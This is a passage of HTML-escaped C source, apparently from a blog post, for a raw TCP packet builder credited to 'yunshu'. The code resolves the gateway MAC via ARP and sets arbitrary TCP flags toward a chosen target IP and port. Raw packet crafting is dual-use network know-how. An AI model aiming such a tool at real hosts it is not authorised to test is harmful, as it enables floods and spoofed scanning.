#000000"&gt;Next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Found&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Get&amp;nbsp;gateway's&amp;nbsp;ip&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(&amp;nbsp;AdapterInfo&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(&amp;nbsp;AdapterInfo&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Get&amp;nbsp;gateway's&amp;nbsp;ip&amp;nbsp;error.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(&amp;nbsp;AdapterInfo&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BYTE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mac[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MacLen&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SendARP(&amp;nbsp;inet_addr(GatewayIP),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(PULONG)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Mac,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MacLen&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(&amp;nbsp;GatewayMac,&amp;nbsp;Mac,&amp;nbsp;MacLen&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(&amp;nbsp;int&amp;nbsp;index&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;index&amp;nbsp;&amp;lt;&amp;nbsp;MacLen;&amp;nbsp;index&amp;nbsp;++&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;"%d:&amp;nbsp;%02x\n",&amp;nbsp;index,&amp;nbsp;Mac[index]&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;"\n%d\n",&amp;nbsp;MacLen&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Usage(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;me&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Make&amp;nbsp;tcp&amp;nbsp;package&amp;nbsp;0.1,&amp;nbsp;code&amp;nbsp;by&amp;nbsp;yunshu\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%s:&amp;nbsp;&amp;nbsp;&amp;nbsp;targetip&amp;nbsp;&amp;nbsp;targetport&amp;nbsp;[flag]\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;me&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;flag:&amp;nbsp;\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;u|U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;urg&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;a|A&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;ack&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p|P&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;push&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r|R&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;rst&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s|S&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;syn&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f|F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set&amp;nbsp;fin&amp;nbsp;flag.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default&amp;nbsp;is&amp;nbsp;syn&amp;nbsp;flag,&amp;nbsp;and&amp;nbsp;you&amp;nbsp;can&amp;nbsp;use&amp;nbsp;sa&amp;nbsp;to&amp;nbsp;set&amp;nbsp;syn+ack,&amp;nbsp;and&amp;nbsp;more&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;main(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;argv[]&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ET_HEADER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EtHeader;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP_HEADER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IpHeader;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TCP_HEADER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TcpHeader;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PSD_HEADER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PsdHeader;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;u_char&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer[&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(ET_HEADER)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(IP_HEADER)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt
